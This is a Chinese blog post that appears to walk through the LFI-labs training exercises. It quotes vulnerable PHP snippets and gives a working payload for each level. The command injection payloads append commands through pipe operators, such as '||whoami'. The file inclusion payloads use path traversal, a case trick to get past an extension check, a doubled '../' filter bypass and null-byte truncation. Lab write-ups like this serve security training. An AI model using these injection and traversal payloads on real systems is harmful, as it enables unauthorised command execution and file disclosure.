803 字
4 分钟
LFI-labs
2026-01-15

CMD#

CMD-1#

will exec the arg specified in the GET parameter “cmd”

GET传参,需要cmd参数,搭建在Windows输入Windows命令whoami

url?cmd=whoami

显示bro\hp

CMD-2#

跟CMD-1一样不过是POST方法传参

CMD-3#

will exec ‘whois’ with the arg specified in the GET parameter “domain”

参数为domain,(一个域名),然后调用系统命令whois,这里直接弄肯定不行,需要用上管道符

cmd1|cmd2:不论cmd1是否为真,cmd2都会被执行;
cmd1;cmd2:不论cmd1是否为真,cmd2都会被执行;
cmd1||cmd2:如果cmd1为假,则执行cmd2;
cmd1&&cmd2:如果cmd1为真,则执行cmd2;

那么就是

?domain=google.com||whoami

CMD-4#

paload构造和CMD-3一样,不过是POST方法

CMD-5#

not everything you need to inject is in a text input field …

根目录里看一下源码

<?php
if (preg_match('/^[-a-z0-9]+\.a[cdefgilmnoqrstuwxz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvxyz]|d[ejkmoz]|e[cegrstu]|f[ijkmor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdeghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|t[cdfghjklmnoprtvwz]|u[agksyz]|v[aceginu]|w[fs]|y[et]|z[amw]|biz|cat|com|edu|gov|int|mil|net|org|pro|tel|aero|arpa|asia|coop|info|jobs|mobi|name|museum|travel|arpa|xn--[a-z0-9]+$/', strtolower($_GET["domain"])))
        { system("whois -h " . $_GET["server"] . " " . $_GET["domain"]); }
    else
        {echo "malformed domain name";}
?>

过滤了一堆东西,但是没有对server进行过滤,直接进行构造

?domain=whois -h 127.0.0.1||whoami|| facebook.com

CMD-6#

payload构造和CMD-5一样,不过是POST方法

LFI#

LFI-1#

看眼源码

<?php     include("../common/header.php");   ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php hint("will include the arg specified in the GET parameter \"page\""); ?>
<form action="/LFI-1/index.php" method="GET">
    <input type="text" name="page">
</form>
<?php
include($_GET["page"]);
?>

GET传参page,在上级目录建一个test.php文件(里边可以写点内容,我是Welcome to test.php)构造payload

?page=../test.php

LFI-2#

看源码

<?php
include("includes/".$_GET['library'].".php");
?>

GET传参library,还会自动加上后缀.php 添加了要包含文件的上级路径。所以我们要跳出includes,那么就可以使用…/跳出 最终include()加载的文件路径 = 当前脚本目录/includes/[输入的library值].php

# 假设服务器根目录(网站根目录)
/
└── LFI-2/ # 你的index.php所在目录(记为「当前目录」)
├── index.php # 这份源码文件(核心)
├── includes/ # 代码中固定拼接的子目录(代码里硬编码了includes/)
│ └── (系统默认的合法.php文件,无利用价值)
└── test.php # 要读取/包含的目标文件(题目中隐含的目标)

所以payload

?library=../../test //会自动拼接.php

显示内容Welcome to test.php 如果

?library=../test

则会进入在LFI-2目录下的test.php文件 显示yes! right place

LFI-3#

<?php
if (substr($_GET['file'], -4, 4) != '.php')
 echo file_get_contents($_GET['file']);
else
 echo 'You are not allowed to see source files!'."\n";
?>

这里其实是说后四个不是.php,就调用file_get_content函数,大小写绕过就好了,payload

?file=test.PHP#

LFI-4#

<form action="/LFI-4/index.php" method="GET">
    <input type="text" name="class">
</form>
<?php
include('includes/class_'.addslashes($_GET['class']).'.php');
?>

GET传参传class,然后addslashes函数

addslashes() 函数返回在 预定义的字符 前添加 反斜杠 的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
然后 还会在输入的值 后 添加 .php

使用%00 截断和不添加后缀进行执行

?class=../../phpinfo

LFI-5#

<form action="/LFI-5/index.php" method="GET">
    <input type="text" name="file">
</form>
<?php
   $file = str_replace('../', '', $_GET['file']);
   if(isset($file))
   {
       include("pages/$file");
   }
   else
   {
       include("index.php");
   }
?>

双写绕过

?file=..././..././test.php

LFI-6-10#

前面五关LFI题的POST方式

LFI-11#

<form action="/LFI-11/index.php" method="POST">
    <input type="text" name="file">
    <input type="hidden" name="style" name="stylepath">
</form>
<?php include($_POST['stylepath']); ?>

说明了需要用POST方法,真正的参数stylepath被设置为hidden,我们需要通过抓包来进行POST请求 [LFIPOST.png]没什么问题

LFI-12#

这一关与上一关相同,不过是GET方法 [LFIGET.png]

LFI-13#

与第五关相同

?file=..././..././test.php

LFI-14#

与13题一样,不过是POST方法

LFI-labs
https://fuwari.vercel.app/posts/lfi-labs/
作者
BIG熙
发布于
2026-01-15
许可协议
CC BY-NC-SA 4.0